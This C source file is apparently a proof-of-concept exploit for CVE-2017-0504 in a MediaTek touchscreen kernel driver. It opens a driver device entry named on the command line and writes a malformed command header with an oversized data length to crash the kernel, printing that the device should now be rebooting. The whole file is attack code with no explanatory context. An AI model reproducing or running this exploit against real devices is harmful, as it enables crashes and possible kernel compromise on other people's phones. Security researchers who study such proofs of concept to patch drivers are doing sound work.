CVE-2017-0504_mtk.c

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>

typedef uint8_t u8;
typedef uint16_t u16;

#pragma pack(1)
typedef struct {
        u8 wr;                  /* write read flag 0:R  1:W  2:PID 3: */
        u8 flag;                /* 0:no need flag/int 1: need flag  2:need int */
        u8 flag_addr[2];        /* flag address */
        u8 flag_val;            /* flag val */
        u8 flag_relation;       /* flag_val:flag 0:not equal 1:equal 2:> 3:< */
        u16 circle;             /* polling cycle */
        u8 times;               /* plling times */
        u8 retry;               /* I2C retry times */
        u16 delay;              /* delay befor read or after write */
	u16 data_len;           /* data length */
        u8 addr_len;            /* address length */
	u8 addr[2];             /* address */
	u8 res[3];              /* reserved */
        u8 *data;               /* data pointer */
} st_cmd_head;
#pragma pack()



int main(int argc, char **argv)
{
	st_cmd_head cmd_head = { 0 };
	int fd;

	if (argc < 2) {
		printf("Please provide a location to the entry. "\
		       "it should start with the name 'gmnode' then a date "\
		       "After.\n");
		return EXIT_FAILURE;
	}

	fd = open(argv[1], O_RDWR);

	if (fd < 0) {
		printf("Couldn't open %s with error %s\n", argv[1], strerror(errno));
		return EXIT_FAILURE;
	}

	cmd_head.wr = 15;
	cmd_head.data_len = 65534;

	write(fd, &cmd_head, sizeof(cmd_head));

	printf("Write completed? Probably should be rebooting now\n");
	return EXIT_FAILURE;
}